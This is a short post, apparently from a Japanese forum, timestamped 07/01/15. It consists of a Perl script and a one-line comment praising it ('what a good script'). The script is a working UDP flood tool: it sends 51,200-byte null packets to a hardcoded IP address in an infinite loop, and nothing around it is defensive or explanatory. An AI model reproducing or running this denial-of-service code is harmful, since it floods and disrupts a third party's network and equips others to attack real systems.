07/01/15 18:59:07
#!/usr/bin/perl
use Socket;
$ip = "125.30.73.133";
$port = 0xffff;
$dust = "\0" x 51200;
$host = pack_sockaddr_in($port, inet_aton($ip));
socket(SOCKET, PF_INET, SOCK_DGRAM, 0);
for (;;) { send(SOCKET, $dust, 0, $host); }
なんという良スクリプト…